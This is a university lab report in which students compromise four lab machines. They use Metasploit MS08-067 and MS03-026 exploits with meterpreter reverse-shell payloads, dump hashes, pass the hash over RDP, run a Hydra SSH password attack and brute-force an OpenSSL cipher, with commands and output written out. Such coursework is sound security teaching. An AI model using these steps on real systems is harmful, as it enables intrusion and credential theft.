Secure Computer Systems I: Lab 3

Ren Li Tianyao Ma Samuel Pettersson

March 5, 2014

Host 1: 192.168.233.20

We firstly scanned the open ports by using the command *nmap -s -A -p1-1024 192.168.233.20*. There are the possibility that some ports will not always be opened, or rather, they will be down at times. But we found that the result below is the most common one:

```
security@BB:~$ sudo nmap -v -A -p1-8000 192.168.233.106

Starting Nmap 6.40 ( http://nmap.org ) at 2014-03-05 00:37 CET
NSE: Loaded 110 scripts for scanning.
NSE: Script Pre-scanning.
Initiating Ping Scan at 00:37
Scanning 192.168.233.20 [4 ports]
Completed Ping Scan at 00:37, 0.01s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 00:37
Completed Parallel DNS resolution of 1 host. at 00:37, 0.00s elapsed
Initiating SYN Stealth Scan at 00:37
Scanning 192.168.233.20 [8000 ports]
Discovered open port 445/tcp on 192.168.233.20
Discovered open port 1025/tcp on 192.168.233.20
Discovered open port 139/tcp on 192.168.233.20
Discovered open port 3389/tcp on 192.168.233.20
Discovered open port 135/tcp on 192.168.233.20
Discovered open port 1026/tcp on 192.168.233.20
Completed SYN Stealth Scan at 00:37, 2.22s elapsed (8000 total ports)
Initiating Service scan at 00:37
Scanning 6 services on 192.168.233.20
Completed Service scan at 00:38, 48.67s elapsed (6 services on 1 host)
Initiating OS detection (try #1) against 192.168.233.20
Retrying OS detection (try #2) against 192.168.233.20
Retrying OS detection (try #3) against 192.168.233.20
Retrying OS detection (try #4) against 192.168.233.20
Retrying OS detection (try #5) against 192.168.233.20
Initiating Traceroute at 00:38
Completed Traceroute at 00:38, 0.01s elapsed
Initiating Parallel DNS resolution of 2 hosts. at 00:38
Completed Parallel DNS resolution of 2 hosts. at 00:38, 0.00s elapsed
NSE: Script scanning 192.168.233.20.
Initiating NSE at 00:38
Completed NSE at 00:38, 0.93s elapsed
Nmap scan report for 192.168.233.20
Host is up (0.0077s latency).
Not shown: 7994 closed ports
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn
445/tcp open microsoft-ds Microsoft Windows 2003 or 2008 microsoft-ds
1025/tcp open msrpc Microsoft Windows RPC
1026/tcp open msrpc Microsoft Windows RPC
3389/tcp open ms-wbt-server?
```

```
No exact OS matches for host (If you know what OS is running on it, see http://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=6.40%E=4%D=3/5%OT=135%CT=1%CU=38086%PV=Y%DS=2%DC=T%G=Y%TM=531663E
OS:6%P=i686-pc-linux-gnu)SEQ(SP=F8%GCD=1%ISR=10C%TI=I%CI=I%II=I%SS=S%TS=0)O
OS:PS(O1=M538NW0NNT00NNS%O2=M538NW0NNT00NNS%O3=M538NW0NNT00%O4=M538NW0NNT00
OS:NNS%O5=M538NW0NNT00NNS%O6=M538NNT00NNS)WIN(W1=FFFF%W2=FFFF%W3=FFFF%W4=FF
OS:FF%W5=FFFF%W6=FFFF)ECN(R=Y%DF=Y%T=80%W=FFFF%O=M538NW0NNS%CC=N%Q=)T1(R=Y%
OS:DF=Y%T=80%S=O%A=S+%F=AS%RD=0%Q=)T2(R=Y%DF=N%T=80%W=0%S=Z%A=S%F=AR%O=%RD=
OS:0%Q=)T3(R=Y%DF=Y%T=80%W=FFFF%S=O%A=S+%F=AS%O=M538NW0NNT00NNS%RD=0%Q=)T4(
OS:R=Y%DF=N%T=80%W=0%S=A%A=O%F=R%O=%RD=0%Q=)T5(R=Y%DF=N%T=80%W=0%S=Z%A=S+%F
OS:=AR%O=%RD=0%Q=)T6(R=Y%DF=N%T=80%W=0%S=A%A=O%F=R%O=%RD=0%Q=)T7(R=Y%DF=N%T
OS:=80%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=80%IPL=B0%UN=0%RIPL=G%RID
OS:=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=S%T=80%CD=Z)

Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=249 (Good luck!)
IP ID Sequence Generation: Incremental
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| nbstat:
| NetBIOS name: SRV1, NetBIOS user: <unknown>, NetBIOS MAC: 00:0c:29:01:5a:72 (VMware)
| Names
| SRV1<00> Flags: <unique><active>
| POETSCAFE<00> Flags: <group><active>
| SRV1<20> Flags: <unique><active>
|_ POETSCAFE<1e> Flags: <group><active>
| smb-os-discovery:
| OS: Windows Server 2003 3790 (Windows Server 2003 5.2)
| OS CPE: cpe:/o:microsoft:windows_server_2003::-
| Computer name: SRV1
| NetBIOS computer name: SRV1
| Domain name: poetscafe.local
| Forest name: poetscafe.local
| FQDN: SRV1.poetscafe.local
| NetBIOS domain name: POETSCAFE
|_ System time: 2014-03-05T01:39:49+01:00
| smb-security-mode:
| Account that was used for smb scripts: <blank>
| User-level authentication
| SMB Security: Challenge/response passwords supported
|_ Message signing disabled (dangerous, but default)
|_smbv2-enabled: Server doesn't support SMBv2 protocol

TRACEROUTE (using port 3306/tcp)
HOP RTT ADDRESS
1 7.92 ms 10.11.12.1
2 7.65 ms 192.168.233.20

NSE: Script Post-scanning.
Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 62.19 seconds
          Raw packets sent: 8094 (359.682KB) | Rcvd: 8093 (326.558KB)
```

We found that in port 445 it runs Windows 2003 or 2008 microsoft-ds service, which could exist a flaw. So we searched the Metasploit database and found an exploit called ms08_067_netapi. It exploits a parsing flaw through the service. To put it in a detail, in CPU, there is a secure technique called NX bit. It will divide memory into either the storage of data or the storage of processor instructions. The exploit bypasses NX by return to a function call inside a dll file which can disable NX[?]. As a consequence, the evil code will not be prevented and can be executed in the memory. To make dll injection attack, we need to use meterpreter as our payload. It resides completely in the memory of the remote host and leaves no traces on the hard drive. Thus it becomes very difficult to detect.[?] Here are the steps:

- use exploit/windows/smb/ms08_067_netapi
- set RHOST 192.168.233.20
- **set** payload windows/meterpreter/reverse_tcp
- set LHOST 10.11.12.29
- run

```
[*] Started reverse handler on 10.11.12.29:4444
[*] Automatically detecting the target...
[*] Fingerprint: Windows 2003 - No Service Pack - lang:Unknown
[*] Selected Target: Windows 2003 SP0 Universal
[*] Attempting to trigger the vulnerability...
[*] Sending stage (752128 bytes) to 192.168.233.20
[*] Meterpreter session 2 opened (10.11.12.29:4444 -> 192.168.233.20:1069) at 2014-03-05 00:57:55 +0100
```

We now get the root access of the machine.By typing *getuid* it shows NT AUTHORITY\SYSTEM. And we can type other commands to browse the file or view its content. We use *search -f secret.txt* command and found that there do have a file called secret.txt. We opened it, which showed the code:c5zmfVpkSJrFA.

Host 2: 192.168.233.110

The second host to which root access was gained is 192.168.233.110. The instructions said that access to host 192.168.233.20 was required to access this machine.

Running *nmap* showed that two services were running on the target machine: *Microsoft Windows RPC* on port 135 and *Microsoft Terminal Service* on port 3389, the latter being used for serving remote desktop clients.

With no obvious vulnerabilities being present in the RPC service, attention was turned to the remote desktop service. The RDP client of our choice was (initially) *rdesktop*, which is available in the software package repository and was installed by issuing the command *sudo apt-get install rdesktop*.

Connecting to the other machine was as simple as running the command *rdesktop 192.168.233.110*. Upon doing so, we were presented with the Modern UI login screen. Authentication as the administrator appeared to require a smart card, whereas password authentication was an option for other users.

After some tinkering with a remote desktop connection on host 192.168.233.20, we found out that password authentication as the administrator on 192.168.233.110 was possible by starting a remote desktop session from 192.168.233.20 to 192.168.233.110. One could suspect that the administrator password for the two machines were the same, but despite having root access to 192.168.233.20, we were unaware of what the password to the administrator account was.

The immediate thought was to dump the password hashes on host 192.168.233.20 and have them cracked either by brute force or with a dictionary. Dumping the hashes is simple enough with a meterpreter shell: issuing the command *run hashdump* does the trick. For each user, two hashes were stored: an unused LM hash of the empty string and an NT hash. Unfortunately, the version of John the Ripper available on the BackBox machine did not have support for breaking NT hashes. The source code of the latest "jumbo" version of John the Ripper (version 1.7.9-7) with support for NT hashes was downloaded from `http://www.openwall.com/john/`. Building the application was a matter of running two *make* commands: *make* and *make clean linux-x86-mmx* as per the README and the installation instructions. After having run the jumbo version of John the Ripper for several hours without finding a password matching any of the dumped NT hashes, let alone the hash for the administrator account, the trail grew colder and we gave up on retrieving the password.

After having received a hint from Sofia, we decided to look into the possibility of passing the hash of the administrator on 192.168.233.20 (CL3\Administrator). That is, instead of authenticating with a password, we hoped to be able to authenticate with the hash of the password. Some research showed that Microsoft's Remote Desktop Protocol version 8.1 from last year introduced a Restricted Admin mode, in which credentials in the form of passwords are not sent to the remote server; instead, password hashes are sent. This mode was introduced in an effort to improve security in that authentication to a compromised server does not reveal the password in cleartext, but unfortunately, it comes at the expense of allowing pass the hash attacks[**?**]. Further research showed that an RDP client by the name FreeRDP with support for passing hashes was available in the form of a Git repository at GitHub[**?**][**?**].

The repository was cloned and the application was built by following the installation instructions available at GitHub[**?**]. The necessary packages were installed, *cmake* was used to generate Makefiles, and *make* was used to build and install the application. After having completed the installation, the client was available by the name *xfreerdp*.

The following command was executed to attempt to log on as the administrator with the hash retrieved from host 192.168.233.20: *xfreerdp /u:Administrator /pth:fabc417905666832e4b4ba57711a4171 /v:192.168.233.110*. Passing the hash turned out to work! A text file containing the secret code without any encryption was easily spotted on the desktop; the code read: *vZxkRvEICzhNQ*.

Host 3: 192.168.233.106

Firstly, we use the command *nmap -s -A -p1-1024 192.168.233.106* to scan open ports and get the results below:

```
security@BB:~$ sudo nmap -v -A -p1-1024 192.168.233.106
[sudo] password for security:

Starting Nmap 6.40 ( http://nmap.org ) at 2014-03-04 21:07 CET
NSE: Loaded 110 scripts for scanning.
NSE: Script Pre-scanning.
Initiating Ping Scan at 21:07
Scanning 192.168.233.106 [4 ports]
Completed Ping Scan at 21:07, 0.01s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 21:07
Completed Parallel DNS resolution of 1 host. at 21:07, 0.03s elapsed
Initiating SYN Stealth Scan at 21:07
Scanning 192.168.233.106 [1024 ports]
Discovered open port 445/tcp on 192.168.233.106
Discovered open port 135/tcp on 192.168.233.106
Discovered open port 139/tcp on 192.168.233.106
Completed SYN Stealth Scan at 21:07, 0.35s elapsed (1024 total ports)
Initiating Service scan at 21:07
Scanning 3 services on 192.168.233.106
Completed Service scan at 21:07, 6.12s elapsed (3 services on 1 host)
Initiating OS detection (try #1) against 192.168.233.106
Retrying OS detection (try #2) against 192.168.233.106
Retrying OS detection (try #3) against 192.168.233.106
Retrying OS detection (try #4) against 192.168.233.106
Retrying OS detection (try #5) against 192.168.233.106
Initiating Traceroute at 21:07
Completed Traceroute at 21:07, 0.01s elapsed
Initiating Parallel DNS resolution of 2 hosts. at 21:07
Completed Parallel DNS resolution of 2 hosts. at 21:07, 0.01s elapsed
NSE: Script scanning 192.168.233.106.
Initiating NSE at 21:07
Completed NSE at 21:07, 1.90s elapsed
Nmap scan report for 192.168.233.106
Host is up (0.0079s latency).
Not shown: 1021 closed ports
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn
```

```
445/tcp open microsoft-ds Microsoft Windows XP microsoft-ds
No exact OS matches for host (If you know what OS is running on it, see http://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=6.40%E=4%D=3/4%OT=135%CT=1%CU=36328%PV=Y%DS=2%DC=T%G=Y%TM=5316329
OS:E%P=i686-pc-linux-gnu)SEQ(SP=80%GCD=1%ISR=9D%TI=I%CI=I%II=I%SS=S%TS=0)OP
OS:S(O1=M538NW0NNT00NNS%O2=M538NW0NNT00NNS%O3=M538NW0NNT00%O4=M538NW0NNT00N
OS:NS%O5=M538NW0NNT00NNS%O6=M538NNT00NNS)WIN(W1=FAF0%W2=FAF0%W3=FAF0%W4=FAF
OS:0%W5=FAF0%W6=FAF0)ECN(R=Y%DF=Y%T=80%W=FAF0%O=M538NW0NNS%CC=N%Q=)T1(R=Y%D
OS:F=Y%T=80%S=O%A=S+%F=AS%RD=0%Q=)T2(R=Y%DF=N%T=80%W=0%S=Z%A=S%F=AR%O=%RD=0
OS:%Q=)T3(R=Y%DF=Y%T=80%W=FAF0%S=O%A=S+%F=AS%O=M538NW0NNT00NNS%RD=0%Q=)T4(R
OS:=Y%DF=N%T=80%W=0%S=A%A=O%F=R%O=%RD=0%Q=)T5(R=Y%DF=N%T=80%W=0%S=Z%A=S+%F=
OS:AR%O=%RD=0%Q=)T6(R=Y%DF=N%T=80%W=0%S=A%A=O%F=R%O=%RD=0%Q=)T7(R=Y%DF=N%T=
OS:80%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=80%IPL=38%UN=0%RIPL=G%RID=
OS:G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=S%T=80%CD=Z)

Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=130 (Good luck!)
IP ID Sequence Generation: Incremental
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| nbstat:
| NetBIOS name: CL1, NetBIOS user: <unknown>, NetBIOS MAC: 00:0c:29:bc:e8:06 (VMware)
| Names
| CL1<00> Flags: <unique><active>
| POETSCAFE<00> Flags: <group><active>
| CL1<03> Flags: <unique><active>
| CL1<20> Flags: <unique><active>
|_ POETSCAFE<1e> Flags: <group><active>
| smb-os-discovery:
| OS: Windows XP (Windows 2000 LAN Manager)
| OS CPE: cpe:/o:microsoft:windows_xp::-
| Computer name: CL1
| NetBIOS computer name: CL1
| Domain name: poetscafe.local
| Forest name: poetscafe.local
| FQDN: CL1.poetscafe.local
| NetBIOS domain name: POETSCAFE
|_ System time: 2014-03-04T22:09:28+01:00
| smb-security-mode:
| Account that was used for smb scripts: guest
| User-level authentication
| SMB Security: Challenge/response passwords supported
|_ Message signing disabled (dangerous, but default)
|_smbv2-enabled: Server doesn't support SMBv2 protocol

TRACEROUTE (using port 554/tcp)
HOP RTT ADDRESS
1 9.80 ms 10.11.12.1
2 7.44 ms 192.168.233.106

NSE: Script Post-scanning.
Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 19.00 seconds
          Raw packets sent: 1118 (52.738KB) | Rcvd: 1110 (46.626KB)
```

We found that the server use Microsoft Windows RPC service on port 135 and considered using this service as a breakthrough. It may contain a flaw that allow attackers execute their code remotely. After search, we found an exploit called ms03_026_dcom. It exploits a stack buffer overflow in Remote Procedure Call System Service(RPCSS), a technique allows client and server to connect.

- sudo msfconsole

- use exploit/windows/dcerpc/ms03_026_dcom
- set RHOST 192.168.233.106
- **set** payload windows/meterpreter/reverse_tcp
- set LHOST 10.11.12.29
- run

After we ran the exploit, it started sending exploit and showed the information below:

```
[*] Started reverse handler on 10.11.12.29:4444
[*] Trying target Windows NT SP3-6a/2000/XP/2003 Universal...
[*] Binding to 4d9f4ab8-7d1c-11cf-861e-0020af6e7c57:0.0@ncacn_ip_tcp:192.168.233.106[135] ...
[*] Bound to 4d9f4ab8-7d1c-11cf-861e-0020af6e7c57:0.0@ncacn_ip_tcp:192.168.233.106[135] ...
[*] Sending exploit ...
[*] Sending stage (752128 bytes) to 192.168.233.106
[*] Meterpreter session 1 opened (10.11.12.29:4444 -> 192.168.233.106:1183) at 2014-03-04 21:13:04 +0100
```

Now we can use meterpreter command now. We type *getuid* and get NT AUTHORITY\SYSTEM, which means that we've got the root access.

After that, we use the command *search -f secret.txt* and found the file. We opened the file and it showed that the code needed to be included in the report is COUDHc7QeD6sk.

Host 4: 192.168.233.30

An *nmap* scan of the fourth and final victim showed that there were two services running on the host, namely, an SSH service and an HTTP service. The command and the most important parts of its output is shown below.

```
security@BB:~$ nmap -v -A 192.168.233.30
...
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 5.9p1 Debian 5ubuntu1.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 1024 e8:db:f6:d5:52:fd:ab:68:08:2b:7d:fe:6f:24:df:2a (DSA)
| 2048 91:58:ee:38:84:98:82:42:33:86:c2:c7:04:e0:1e:f2 (RSA)
|_256 b6:d6:f7:fa:a5:c2:44:7e:08:49:db:06:31:b4:b6:2d (ECDSA)
80/tcp open  http    Apache httpd 2.2.22 ((Ubuntu))
|_http-methods: GET HEAD POST OPTIONS
|_http-title:       Nuyorican Poets Cafe
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
...
```

The *v* flag specifies verbose output, and the *A* flag specifies that OS and service detection (among other things) should be carried out.

Neither of the services appeared to have vulnerabilities that could easily be exploited, so, seeing as we knew no users on the system, it was a natural decision to look for information at the website that the HTTP server hosted first. Browsing to *192.168.233.30* in a web browser showed the website of Nuyorican Poets Cafe. When looking at the page on the history of the cafe (*192.168.233.30/history.php*), three particularly interesting names were found: Daniel Gallant, Jason Quinones, and Mahogany Browne, listed as programmers. Furthermore, there were mailto links that would indicate that their usernames were *daniel*, *jason*, and *mobrowne*.

With these usernames, we could carry out a dictionary attack on their accounts over SSH. The tool that we used for this was the network logon cracker *THC-Hydra*[**?**], and the word list provided to the program was the list of common Unix passwords available in */opt/backbox/msf/data/wordlists/* on our BackBox system.

Within a few minutes, *Hydra* had discovered that *cuteme* was the password for the user *jason*. The important lines of output are shown below:

```
[DATA] attacking service ssh on port 22
[STATUS] 256.00 tries/min, 256 tries in 00:01h, 2753 todo in 00:11h, 16 active
[STATUS] 218.67 tries/min, 656 tries in 00:03h, 2353 todo in 00:11h, 16 active
[22][ssh] host: 192.168.233.30   login: jason   password: cuteme
```

The obtained credentials for *jason* were used to log on via SSH. Running the command *sudo -l* to list the commands allowed for *jason* showed that he was allowed to run any command. The command *find / -name *secret** was issued to find the secret file, and it showed that a file by the name *secret.txt.enc* was located in */root/*; the file appeared to be encrypted. In the very same directory, there was a subdirectory called *.keys/* that contained a file called *passwd-file*. It would seem that this file contained the password used when encrypting the secret. The content of the password file is shown below.

```
sdfsdtf3434trdsfvsdvsfdsdfsvzeqwrt34rerty5y6rthjfgnf
```

In order to analyze things more carefully, we copied the encrypted secret and the password file to the home folder of *jason* and then to our local machine using *scp*. The encrypted file started with a string "Salted__". Googling on the corresponding bytes in hexadecimal seemed to indicate that it was the work of OpenSSL. This agreed with similar cases in the solutions for the lab last year, which we had asked for and received from Sofia. Not at all knowing which of the 100 encryption methods shown to be available in *openssl* when executing *openssl enc .* had been used, we created a bash script for trying each and every one of them. The script is shown in Listing 1 below.

Listing 1: A Bash script for decrypting the secret.

```
cipherCommands=(aes-128-cbc aes-128-cfb aes-128-cfb1
aes-128-cfb8 aes-128-ctr aes-128-ecb
aes-128-gcm aes-128-ofb aes-128-xts
aes-192-cbc aes-192-cfb aes-192-cfb1
aes-192-cfb8 aes-192-ctr aes-192-ecb
aes-192-gcm aes-192-ofb aes-256-cbc
aes-256-cfb aes-256-cfb1 aes-256-cfb8
aes-256-ctr aes-256-ecb aes-256-gcm
aes-256-ofb aes-256-xts aes128
aes192 aes256 bf
bf-cbc bf-cfb bf-ecb
bf-ofb blowfish camellia-128-cbc
camellia-128-cfb camellia-128-cfb1 camellia-128-cfb8
camellia-128-ecb camellia-128-ofb camellia-192-cbc
camellia-192-cfb camellia-192-cfb1 camellia-192-cfb8
camellia-192-ecb camellia-192-ofb camellia-256-cbc
camellia-256-cfb camellia-256-cfb1 camellia-256-cfb8
camellia-256-ecb camellia-256-ofb camellia128
camellia192 camellia256 cast
cast-cbc cast5-cbc cast5-cfb
cast5-ecb cast5-ofb des
des-cbc des-cfb des-cfb1
des-cfb8 des-ecb des-ede
des-ede-cbc des-ede-cfb des-ede-ofb
des-ede3 des-ede3-cbc des-ede3-cfb
des-ede3-cfb1 des-ede3-cfb8 des-ede3-ofb
des-ofb des3 desx
28  desx-cbc id-aes128-GCM id-aes192-GCM
29  id-aes256-GCM rc2 rc2-40-cbc
30  rc2-64-cbc rc2-cbc rc2-cfb
31  rc2-ecb rc2-ofb rc4
32  rc4-40 rc4-hmac-md5 seed
33  seed-cbc seed-cfb seed-ecb
34  seed-ofb)
35
36  for command in "${cipherCommands[@]}"; do
37          openssl $command -d -in secret.txt.enc -out output/$command -pass file:passwd-file
38  done
```

The first 34 lines of the script is just assigning a variable an array of the available encryption methods (or cipher commands). Line 36–38 constitute a loop whose body is executed once for each cipher command. The command on line 37 is the one doing all the decryption. The first appearance of `$command` specifies the cipher command, the *d* flag denotes decryption, the *in* and *out* parameters specify the input file to decrypt and the output file in which to store the result, and the *pass* parameter specifies the password to use when decrypting. As can be seen, the output file for each decryption is specified to be placed in the directory *output* and be named after the cipher command used.

After having executed the shell script, all the output files were manually scanned for intelligible information. It turned out that the output file corresponding to the cipher command aes-256-ofb contained the secret in plaintext. The code read: P2EOlbVN4vf5A, and the secret in its entirety is shown below.

```
  _____________ ___  _________              _______________  ____   _____
 /   _____/    |   \/   _____/ ____   ____  \_____  \   _  \/_   | /  |  |
 \_____  \|    |   /\_____  \_/ __ \_/ ___\  /  ____/  /_\  \|   |/   |  |_
 /        \    |  / /        \  ___/\  \___ /       \  \_/   \   /    ^   /
/_______  /______/ /_______ /\___  >\___  > \_______ \_____  /___\____   |
        \/                \/     \/     \/          \/     \/         |__|

                       +------------------------+
                       |The Code this misson is:|
                       |     P2EOlbVN4vf5A      |
                       +------------------------+
```